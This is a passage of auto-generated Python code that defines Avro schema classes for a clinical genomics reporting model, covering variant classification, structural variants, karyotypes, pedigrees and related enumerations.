{"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type":
"boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""},
{"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""},
{"name": "variantClassification", "type": ["null", {"type": "record", "name":
"VariantClassification", "doc": "", "fields": [{"name": "clinicalSignificance", "type": ["null",
{"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign",
"likely_pathogenic", "pathogenic", "uncertain_significance"]}], "doc": ""}, {"name":
"drugResponseClassification", "type": ["null", "DrugResponseClassification"], "doc": ""}, {"name":
"traitAssociation", "type": ["null", {"type": "enum", "name": "TraitAssociation", "symbols":
["established_risk_allele", "likely_risk_allele", "uncertain_risk_allele", "protective"]}], "doc":
""}, {"name": "tumorigenesisClassification", "type": ["null", {"type": "enum", "name":
"TumorigenesisClassification", "symbols": ["driver", "passenger", "modifier"]}], "doc": ""},
{"name": "functionalEffect", "type": ["null", {"type": "enum", "name": "VariantFunctionalEffect",
"symbols": ["dominant_negative_variant", "gain_of_function_variant", "lethal_variant",
"loss_of_function_variant", "loss_of_heterozygosity", "null_variant"]}], "doc": ""}]}], "doc": ""},
{"name": "guidelineBasedVariantClassification", "type": ["null", {"type": "record", "name":
"GuidelineBasedVariantClassification", "doc": "", "fields": [{"name": "acmgVariantClassification",
"type": ["null", {"type": "record", "name": "AcmgVariantClassification", "doc": "", "fields":
[{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name":
"AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name":
"AcmgEvidenceCategory", "doc": "", "symbols": ["population_data",
"computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data",
"allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type":
"enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""},
{"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols":
["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name":
"modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}}, {"name": "clinicalSignificance", "type": "ClinicalSignificance"}, {"name": "assessment",
"type": ["null", "string"]}]}]}, {"name": "ampVariantClassification", "type": ["null", {"type":
"record", "name": "AmpVariantClassification", "doc": "", "fields": [{"name": "ampEvidences", "type":
{"type": "array", "items": {"type": "record", "name": "AmpEvidence", "doc": "", "fields": [{"name":
"type", "type": {"type": "enum", "name": "AmpEvidenceType", "doc": "", "symbols": ["mutation_type",
"therapies", "variant_frequencies", "potential_germline", "population_database_presence",
"germline_database_presence", "somatic_database_presence", "impact_predictive_software",
"pathway_involvement", "publications"]}, "doc": ""}, {"name": "evidenceAssessment", "type":
"string", "doc": ""}]}}, "doc": ""}, {"name": "ampTier", "type": {"type": "enum", "name": "AmpTier",
"doc": "", "symbols": ["tierI", "tierII", "tierIII", "tierIV"]}, "doc": ""}, {"name":
"ampClincialOrExperimentalEvidence", "type": ["null", {"type": "array", "items": {"type": "record",
"name": "AmpClincialOrExperimentalEvidence", "doc": "", "fields": [{"name": "category", "type":
{"type": "enum", "name": "AmpClinicalOrExperimentalEvidenceCategory", "doc": "", "symbols":
["therapeutic", "diagnosis", "prognosis"]}, "doc": ""}, {"name": "level", "type": {"type": "enum",
"name": "AmpClinicalOrExperimentalEvidenceLevel", "doc": "", "symbols": ["levelA", "levelB",
"levelC", "levelD"]}, "doc": ""}, {"name": "description", "type": ["null", "string"], "doc":
""}]}}], "doc": ""}, {"name": "assessment", "type": ["null", "string"], "doc": ""}]}]}]}], "doc":
""}, {"name": "algorithmBasedVariantClassifications", "type": ["null", {"type": "array", "items":
{"type": "record", "name": "AlgorithmBasedVariantClassification", "fields": [{"name":
"algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc":
""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null",
"int"], "doc": ""}]}}], "doc": ""}, {"name": "tier", "type": ["null", {"type": "enum", "name":
"Tier", "doc": "", "symbols": ["NONE", "TIER1", "TIER2", "TIER3", "TIER4", "TIER5", "TIERA",
"TIERB"]}], "doc": ""}, {"name": "domain", "type": ["null", {"type": "enum", "name": "Domain",
"symbols": ["DOMAIN1", "DOMAIN2", "DOMAIN3", "DOMAIN4", "NONE"]}], "doc": ""}]}}, "doc": ""},
{"name": "variantAttributes", "type": ["null", {"type": "record", "name": "VariantAttributes",
"doc": "", "fields": [{"name": "genomicChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "cdnaChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "proteinChanges", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "additionalTextualVariantAnnotations", "type": ["null", {"type":
"map", "values": "string"}], "doc": ""}, {"name": "references", "type": ["null", {"type": "map",
"values": "string"}], "doc": ""}, {"name": "variantIdentifiers", "type": ["null", {"type": "record",
"name": "VariantIdentifiers", "fields": [{"name": "dbSnpId", "type": ["null", "string"], "doc": ""},
{"name": "cosmicIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"clinVarIds", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name":
"otherIds", "type": ["null", {"type": "array", "items": "Identifier"}]}]}]}, {"name":
"alleleFrequencies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"AlleleFrequency", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name":
"population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc":
""}]}}], "doc": ""}, {"name": "additionalNumericVariantAnnotations", "type": ["null", {"type":
"map", "values": "float"}], "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}, {"name": "alleleOrigins", "type": ["null", {"type": "array",
"items": "AlleleOrigin"}], "doc": ""}, {"name": "ihp", "type": ["null", "int"], "doc": ""}, {"name":
"recurrentlyReported", "type": ["null", "boolean"], "doc": ""}, {"name": "fdp50", "type": ["null",
"float"], "doc": ""}, {"name": "others", "type": ["null", {"type": "map", "values": "string"}],
"doc": ""}]}]}]}}], "doc": ""}, {"name": "structuralVariants", "type": ["null", {"type": "array",
"items": {"type": "record", "name": "StructuralVariant", "fields": [{"name": "variantType", "type":
{"type": "enum", "name": "StructuralVariantType", "symbols": ["ins", "dup", "inv", "amplification",
"deletion", "dup_tandem", "del_me", "ins_me"]}, "doc": ""}, {"name": "coordinates", "type": {"type":
"record", "name": "Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name":
"chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"},
{"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields":
[{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type":
["null", "ConfidenceInterval"]}]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "chromosomalRearrangements", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "ChromosomalRearrangement", "fields":
[{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"BreakPoint", "fields": [{"name": "coordinates", "type": "Coordinates"}, {"name": "reference",
"type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info",
"type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type":
{"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name":
"leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"},
{"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start",
"start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name":
"rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array",
"items": "ReportEvent"}}, {"name": "variantCalls", "type": {"type": "array", "items":
"VariantCall"}, "doc": ""}, {"name": "variantAttributes", "type": ["null",
"VariantAttributes"]}]}}], "doc": ""}, {"name": "shortTandemRepeats", "type": ["null", {"type":
"array", "items": {"type": "record", "name": "ShortTandemRepeat", "fields": [{"name": "coordinates",
"type": "Coordinates"}, {"name": "reportEvents", "type": {"type": "array", "items": "ReportEvent"}},
{"name": "variantCalls", "type": {"type": "array", "items": "VariantCall"}, "doc": ""}, {"name":
"variantAttributes", "type": ["null", "VariantAttributes"]}, {"name":
"shortTandemRepeatReferenceData", "type": ["null", {"type": "record", "name":
"ShortTandemRepeatReferenceData", "fields": [{"name": "repeatedSequence", "type": "string"},
{"name": "pathogenic_number_of_repeats_threshold", "type": "int"}, {"name":
"normal_number_of_repeats_threshold", "type": "int"}]}]}]}}], "doc": ""}, {"name":
"uniparentalDisomies", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"UniparentalDisomy", "fields": [{"name": "assembly", "type": "Assembly", "doc": ""}, {"name":
"chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": ["null", "boolean"], "doc":
""}, {"name": "origin", "type": {"type": "enum", "name": "UniparentalDisomyOrigin", "symbols":
["paternal", "maternal", "unknown"]}, "doc": ""}, {"name": "uniparentalDisomyFragments", "type":
["null", {"type": "array", "items": {"type": "record", "name": "UniparentalDisomyFragment",
"fields": [{"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name":
"uniparentalDisomyType", "type": {"type": "enum", "name": "UniparentalDisomyType", "symbols":
["isodisomy", "heterodisomy", "both"]}, "doc": ""}]}}], "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}, {"name": "uniparentalDisomyEvidences", "type": ["null", {"type":
"record", "name": "UniparentalDisomyEvidences", "fields": [{"name": "ibds", "type": ["null",
{"type": "array", "items": {"type": "record", "name": "IdentityByDescent", "fields": [{"name":
"relatedSample", "type": "string"}, {"name": "ibd0", "type": "float"}, {"name": "ibd1", "type":
"float"}, {"name": "ibd2", "type": "float"}, {"name": "pihat", "type": "float"}]}}]}]}], "doc":
""}]}}], "doc": ""}, {"name": "karyotypes", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Karyotype", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""},
{"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "aneuploidies", "type":
["null", {"type": "array", "items": {"type": "record", "name": "Aneuploidy", "fields": [{"name":
"iscn", "type": ["null", "string"], "doc": ""}, {"name": "assembly", "type": "Assembly", "doc": ""},
{"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete", "type": "boolean", "doc":
""}, {"name": "coordinates", "type": ["null", "Coordinates"], "doc": ""}, {"name": "numberOfCopies",
"type": "int", "doc": ""}]}}], "doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc":
""}, {"name": "personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex",
"namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId",
"type": "string", "doc": ""}]}}], "doc": ""}, {"name": "referenceDatabasesVersions", "type":
{"type": "map", "values": "string"}, "doc": ""}, {"name": "softwareVersions", "type": {"type":
"map", "values": "string"}, "doc": ""}, {"name": "comments", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"chromosomalRearrangements",
"comments",
"interpretationRequestId",
"interpretationRequestVersion",
"interpretationService",
"karyotypes",
"referenceDatabasesVersions",
"reportUrl",
"shortTandemRepeats",
"softwareVersions",
"structuralVariants",
"uniparentalDisomies",
"variants",
"versionControl",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'chromosomalRearrangements': ChromosomalRearrangement,
'karyotypes': Karyotype,
'shortTandemRepeats': ShortTandemRepeat,
'structuralVariants': StructuralVariant,
'uniparentalDisomies': UniparentalDisomy,
'variants': SmallVariant,
'versionControl': ReportVersionControl,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'chromosomalRearrangements': ChromosomalRearrangement,
'karyotypes': Karyotype,
'shortTandemRepeats': ShortTandemRepeat,
'structuralVariants': StructuralVariant,
'uniparentalDisomies': UniparentalDisomy,
'variants': SmallVariant,
'versionControl': ReportVersionControl,
}
return embeddedTypes[fieldName]
__slots__ = [
'chromosomalRearrangements', 'comments',
'interpretationRequestId', 'interpretationRequestVersion',
'interpretationService', 'karyotypes',
'referenceDatabasesVersions', 'reportUrl',
'shortTandemRepeats', 'softwareVersions',
'structuralVariants', 'uniparentalDisomies', 'variants',
'versionControl'
]
def __init__(self, **kwargs):
self.chromosomalRearrangements = kwargs.get(
'chromosomalRearrangements', None)
self.comments = kwargs.get(
'comments', None)
self.interpretationRequestId = kwargs.get(
'interpretationRequestId', None)
self.interpretationRequestVersion = kwargs.get(
'interpretationRequestVersion', None)
self.interpretationService = kwargs.get(
'interpretationService', None)
self.karyotypes = kwargs.get(
'karyotypes', None)
self.referenceDatabasesVersions = kwargs.get(
'referenceDatabasesVersions', None)
self.reportUrl = kwargs.get(
'reportUrl', None)
self.shortTandemRepeats = kwargs.get(
'shortTandemRepeats', None)
self.softwareVersions = kwargs.get(
'softwareVersions', None)
self.structuralVariants = kwargs.get(
'structuralVariants', None)
self.uniparentalDisomies = kwargs.get(
'uniparentalDisomies', None)
self.variants = kwargs.get(
'variants', None)
self.versionControl = kwargs.get(
'versionControl', ReportVersionControl())
class Intervention(ProtocolElement):
"""
A process or action that is the focus of a clinical study.
Ref. https://prsinfo.clinicaltrials.gov/definitions.html
"""
_schemaSource = """
{"type": "record", "name": "Intervention", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc":
"", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic",
"dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name":
"interventionName", "type": "string", "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"interventionName",
"interventionType",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'interventionName', 'interventionType'
]
def __init__(self, **kwargs):
self.interventionName = kwargs.get(
'interventionName', None)
self.interventionType = kwargs.get(
'interventionType', None)
class InterventionType(object):
"""
For each intervention studied in the clinical study, the general
type of intervention * `drug`: Including placebo * `device`:
Including sham * `biological`: Vaccine * `procedure`: Surgery *
`radiation` * `behavioral`: For example, psychotherapy, lifestyle
counselling * `genetic`: Including gene transfer, stem cell and
recombinant DNA * `dietary_supplement`: For example, vitamins,
minerals * `combination_product`: Combining a drug and device, a
biological product and device; a drug and biological product; or a
drug, biological product, and device * `diagnostic_test`: For
example, imaging, in-vitro * `other` Ref.
https://prsinfo.clinicaltrials.gov/definitions.htm
"""
drug = "drug"
device = "device"
procedure = "procedure"
biological = "biological"
radiation = "radiation"
behavioral = "behavioral"
genetic = "genetic"
dietary_supplement = "dietary_supplement"
combination_product = "combination_product"
diagnostic_test = "diagnostic_test"
other = "other"
def __hash__(self):
return str(self).__hash__()
class Karyotype(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "Karyotype", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "iscn", "type": ["null", "string"], "doc": ""}, {"name": "description", "type": ["null",
"string"], "doc": ""}, {"name": "aneuploidies", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "Aneuploidy", "fields": [{"name": "iscn", "type": ["null", "string"], "doc": ""},
{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38",
"GRCh37"]}, "doc": ""}, {"name": "chromosome", "type": "string", "doc": ""}, {"name": "complete",
"type": "boolean", "doc": ""}, {"name": "coordinates", "type": ["null", {"type": "record", "name":
"Coordinates", "fields": [{"name": "assembly", "type": "Assembly"}, {"name": "chromosome", "type":
"string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart",
"type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left",
"type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null",
"ConfidenceInterval"]}]}], "doc": ""}, {"name": "numberOfCopies", "type": "int", "doc": ""}]}}],
"doc": ""}, {"name": "numberOfChromosomes", "type": "int", "doc": ""}, {"name":
"personKaryotipicSex", "type": {"type": "enum", "name": "PersonKaryotipicSex", "namespace":
"org.gel.models.participant.avro", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO", "XXY", "XXX",
"XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}, "doc": ""}, {"name": "participantId", "type": "string",
"doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"aneuploidies",
"description",
"iscn",
"numberOfChromosomes",
"participantId",
"personKaryotipicSex",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {
'aneuploidies': Aneuploidy,
}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {
'aneuploidies': Aneuploidy,
}
return embeddedTypes[fieldName]
__slots__ = [
'aneuploidies', 'description', 'iscn', 'numberOfChromosomes',
'participantId', 'personKaryotipicSex'
]
def __init__(self, **kwargs):
self.aneuploidies = kwargs.get(
'aneuploidies', None)
self.description = kwargs.get(
'description', None)
self.iscn = kwargs.get(
'iscn', None)
self.numberOfChromosomes = kwargs.get(
'numberOfChromosomes', None)
self.participantId = kwargs.get(
'participantId', None)
self.personKaryotipicSex = kwargs.get(
'personKaryotipicSex', None)
class KgPopCategory(object):
"""
1K Genomes project populations
"""
ACB = "ACB"
ASW = "ASW"
BEB = "BEB"
CDX = "CDX"
CEU = "CEU"
CHB = "CHB"
CHS = "CHS"
CLM = "CLM"
ESN = "ESN"
FIN = "FIN"
GBR = "GBR"
GIH = "GIH"
GWD = "GWD"
IBS = "IBS"
ITU = "ITU"
JPT = "JPT"
KHV = "KHV"
LWK = "LWK"
MSL = "MSL"
MXL = "MXL"
PEL = "PEL"
PJL = "PJL"
PUR = "PUR"
STU = "STU"
TSI = "TSI"
YRI = "YRI"
def __hash__(self):
return str(self).__hash__()
class KgSuperPopCategory(object):
"""
1K Genomes project super populations
"""
AFR = "AFR"
AMR = "AMR"
EAS = "EAS"
EUR = "EUR"
SAS = "SAS"
def __hash__(self):
return str(self).__hash__()
class Laterality(object):
"""
No documentation
"""
RIGHT = "RIGHT"
UNILATERAL = "UNILATERAL"
BILATERAL = "BILATERAL"
LEFT = "LEFT"
def __hash__(self):
return str(self).__hash__()
class LifeStatus(object):
"""
Life Status
"""
ALIVE = "ALIVE"
ABORTED = "ABORTED"
DECEASED = "DECEASED"
UNBORN = "UNBORN"
STILLBORN = "STILLBORN"
MISCARRIAGE = "MISCARRIAGE"
def __hash__(self):
return str(self).__hash__()
class MatchedSamples(ProtocolElement):
"""
This defines a pair of germline and tumor, this pair should/must
be analyzed together
"""
_schemaSource = """
{"type": "record", "name": "MatchedSamples", "namespace": "org.gel.models.participant.avro", "doc":
"", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name":
"tumourSampleId", "type": ["null", "string"], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"germlineSampleId",
"tumourSampleId",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'germlineSampleId', 'tumourSampleId'
]
def __init__(self, **kwargs):
self.germlineSampleId = kwargs.get(
'germlineSampleId', None)
self.tumourSampleId = kwargs.get(
'tumourSampleId', None)
class Method(object):
"""
No documentation
"""
RESECTION = "RESECTION"
BIOPSY = "BIOPSY"
BLOOD = "BLOOD"
def __hash__(self):
return str(self).__hash__()
class ModeOfInheritance(object):
"""
An enumeration for the different mode of inheritances: *
`monoallelic_not_imprinted`: MONOALLELIC, autosomal or
pseudoautosomal, not imprinted *
`monoallelic_maternally_imprinted`: MONOALLELIC, autosomal or
pseudoautosomal, maternally imprinted (paternal allele expressed)
* `monoallelic_paternally_imprinted`: MONOALLELIC, autosomal or
pseudoautosomal, paternally imprinted (maternal allele expressed)
* `monoallelic`: MONOALLELIC, autosomal or pseudoautosomal,
imprinted status unknown * `biallelic`: BIALLELIC, autosomal or
pseudoautosomal * `monoallelic_and_biallelic`: BOTH monoallelic
and biallelic, autosomal or pseudoautosomal *
`monoallelic_and_more_severe_biallelic`: BOTH monoallelic and
biallelic, autosomal or pseudoautosomal (but BIALLELIC mutations
cause a more SEVERE disease form), autosomal or pseudoautosomal *
`xlinked_biallelic`: X-LINKED: hemizygous mutation in males,
biallelic mutations in females * `xlinked_monoallelic`: X linked:
hemizygous mutation in males, monoallelic mutations in females may
cause disease (may be less severe, later onset than males) *
`mitochondrial`: MITOCHONDRIAL * `unknown`: Unknown
"""
monoallelic = "monoallelic"
monoallelic_not_imprinted = "monoallelic_not_imprinted"
monoallelic_maternally_imprinted = "monoallelic_maternally_imprinted"
monoallelic_paternally_imprinted = "monoallelic_paternally_imprinted"
biallelic = "biallelic"
monoallelic_and_biallelic = "monoallelic_and_biallelic"
monoallelic_and_more_severe_biallelic = "monoallelic_and_more_severe_biallelic"
xlinked_biallelic = "xlinked_biallelic"
xlinked_monoallelic = "xlinked_monoallelic"
mitochondrial = "mitochondrial"
unknown = "unknown"
na = "na"
def __hash__(self):
return str(self).__hash__()
class NumberOfCopies(ProtocolElement):
"""
No documentation
"""
_schemaSource = """
{"type": "record", "name": "NumberOfCopies", "namespace": "org.gel.models.report.avro", "fields":
[{"name": "numberOfCopies", "type": "int", "doc": ""}, {"name": "confidenceIntervalMaximum", "type":
["null", "int"]}, {"name": "confidenceIntervalMinimum", "type": ["null", "int"]}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"confidenceIntervalMaximum",
"confidenceIntervalMinimum",
"numberOfCopies",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'confidenceIntervalMaximum', 'confidenceIntervalMinimum',
'numberOfCopies'
]
def __init__(self, **kwargs):
self.confidenceIntervalMaximum = kwargs.get(
'confidenceIntervalMaximum', None)
self.confidenceIntervalMinimum = kwargs.get(
'confidenceIntervalMinimum', None)
self.numberOfCopies = kwargs.get(
'numberOfCopies', None)
class Ontology(ProtocolElement):
"""
The ontology to which a standard term belongs
"""
_schemaSource = """
{"type": "record", "name": "Ontology", "namespace": "org.gel.models.report.avro", "doc": "",
"fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"name",
"version",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'name', 'version'
]
def __init__(self, **kwargs):
self.name = kwargs.get(
'name', None)
self.version = kwargs.get(
'version', None)
class Orientation(object):
"""
No documentation
"""
start_start = "start_start"
start_end = "start_end"
end_end = "end_end"
def __hash__(self):
return str(self).__hash__()
class OtherFamilyHistory(ProtocolElement):
"""
Family history for secondary findings. Arrays of strings
describing discrete family history phenotypes. Usually:
`EndocrineTumours`, `colorectal`, `BreastOvarian` and `HDOrStroke`
but can be others
"""
_schemaSource = """
{"type": "record", "name": "OtherFamilyHistory", "namespace": "org.gel.models.report.avro", "doc":
"", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items":
"string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array",
"items": "string"}], "doc": ""}]}
"""
schema = avro_parse(_schemaSource)
requiredFields = {
"maternalFamilyHistory",
"paternalFamilyHistory",
}
@classmethod
def isEmbeddedType(cls, fieldName):
embeddedTypes = {}
return fieldName in embeddedTypes
@classmethod
def getEmbeddedType(cls, fieldName):
embeddedTypes = {}
return embeddedTypes[fieldName]
__slots__ = [
'maternalFamilyHistory', 'paternalFamilyHistory'
]
def __init__(self, **kwargs):
self.maternalFamilyHistory = kwargs.get(
'maternalFamilyHistory', None)
self.paternalFamilyHistory = kwargs.get(
'paternalFamilyHistory', None)
class ParticipantQCState(object):
"""
QCState Status
"""
noState = "noState"
passedMedicalReviewReadyForInterpretation = "passedMedicalReviewReadyForInterpretation"
passedMedicalReviewNotReadyForInterpretation = "passedMedicalReviewNotReadyForInterpretation"
queryToGel = "queryToGel"
queryToGMC = "queryToGMC"
failed = "failed"
def __hash__(self):
return str(self).__hash__()
class Pedigree(ProtocolElement):
"""
This is the concept of a family with associated phenotypes as
present in the record RDParticipant
"""
_schemaSource = """
{"type": "record", "name": "Pedigree", "namespace": "org.gel.models.participant.avro", "doc": "",
"fields": [{"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl",
"fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc":
""}, {"name": "LDPCode", "type": ["null", "string"], "doc": ""}, {"name": "familyId", "type":
"string", "doc": ""}, {"name": "members", "type": {"type": "array", "items": {"type": "record",
"name": "PedigreeMember", "doc": "", "fields": [{"name": "pedigreeId", "type": ["null", "int"],
"doc": ""}, {"name": "isProband", "type": ["null", "boolean"], "doc": ""}, {"name": "participantId",
"type": ["null", "string"], "doc": ""}, {"name": "participantQCState", "type": ["null", {"type":
"enum", "name": "ParticipantQCState", "doc": "", "symbols": ["noState",
"passedMedicalReviewReadyForInterpretation", "passedMedicalReviewNotReadyForInterpretation",
"queryToGel", "queryToGMC", "failed"]}], "doc": ""}, {"name": "gelSuperFamilyId", "type": ["null",
"string"], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols":
["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "personKaryotypicSex", "type": ["null",
{"type": "enum", "name": "PersonKaryotipicSex", "doc": "", "symbols": ["UNKNOWN", "XX", "XY", "XO",
"XXY", "XXX", "XXYY", "XXXY", "XXXX", "XYY", "OTHER"]}], "doc": ""}, {"name": "yearOfBirth", "type":
["null", "int"], "doc": ""}, {"name": "fatherId", "type": ["null", "int"], "doc": ""}, {"name":
"motherId", "type": ["null", "int"], "doc": ""}, {"name": "superFatherId", "type": ["null", "int"],
"doc": ""}, {"name": "superMotherId", "type": ["null", "int"], "doc": ""}, {"name": "twinGroup",
"type": ["null", "int"], "doc": ""}, {"name": "monozygotic", "type": ["null", {"type": "enum",
"name": "TernaryOption", "doc": "", "symbols": ["yes", "no", "unknown"]}], "doc": ""}, {"name":
"adoptedStatus", "type": ["null", {"type": "enum", "name": "AdoptedStatus", "doc": "", "symbols":
["notadopted", "adoptedin", "adoptedout"]}], "doc": ""}, {"name": "lifeStatus", "type": ["null",
{"type": "enum", "name": "LifeStatus", "doc": "", "symbols": ["ALIVE", "ABORTED", "DECEASED",
"UNBORN", "STILLBORN", "MISCARRIAGE"]}], "doc": ""}, {"name": "consanguineousParents", "type":
["null", "TernaryOption"], "doc": ""}, {"name": "affectionStatus", "type": ["null", {"type": "enum",
"name": "AffectionStatus", "doc": "", "symbols": ["UNAFFECTED", "AFFECTED", "UNCERTAIN"]}], "doc":
""}, {"name": "disorderList", "type": ["null", {"type": "array", "items": {"type": "record", "name":
"Disorder", "doc": "", "fields": [{"name": "diseaseGroup", "type": ["null", "string"], "doc": ""},
{"name": "diseaseSubGroup", "type": ["null", "string"], "doc": ""}, {"name": "specificDisease",
"type": ["null", "string"], "doc": ""}, {"name": "ageOfOnset", "type": ["null", "float"], "doc":
""}]}}], "doc": ""}, {"name": "hpoTermList", "type": ["null", {"type": "array", "items": {"type":
"record", "name": "HpoTerm", "doc": "", "fields": [{"name": "term", "type": "string", "doc": ""},
{"name": "termPresence", "type": ["null", "TernaryOption"], "doc": ""}, {"name": "hpoBuildNumber",
"type": ["null", "string"], "doc": ""}, {"name": "modifiers", "type": ["null", {"type": "record",
"name": "HpoTermModifiers", "fields": [{"name": "laterality", "type": ["null", {"type": "enum",
"name": "Laterality", "symbols": ["RIGHT", "UNILATERAL", "BILATERAL", "LEFT"]}]}, {"name":
"progression", "type": ["null", {"type": "enum", "name": "Progression", "symbols": ["PROGRESSIVE",
"NONPROGRESSIVE"]}]}, {"name": "severity", "type": ["null", {"type": "enum", "name": "Severity",
"symbols": ["BORDERLINE", "MILD", "MODERATE", "SEVERE", "PROFOUND"]}]}, {"name": "spatialPattern",
"type": ["null", {"type": "enum", "name": "SpatialPattern", "symbols": ["DISTAL", "GENERALIZED",
"LOCALIZED", "PROXIMAL"]}]}]}], "doc": ""}, {"name": "ageOfOnset", "type": ["null", {"type": "enum",
"name": "AgeOfOnset", "symbols": ["EMBRYONAL_ONSET", "FETAL_ONSET", "NEONATAL_ONSET",
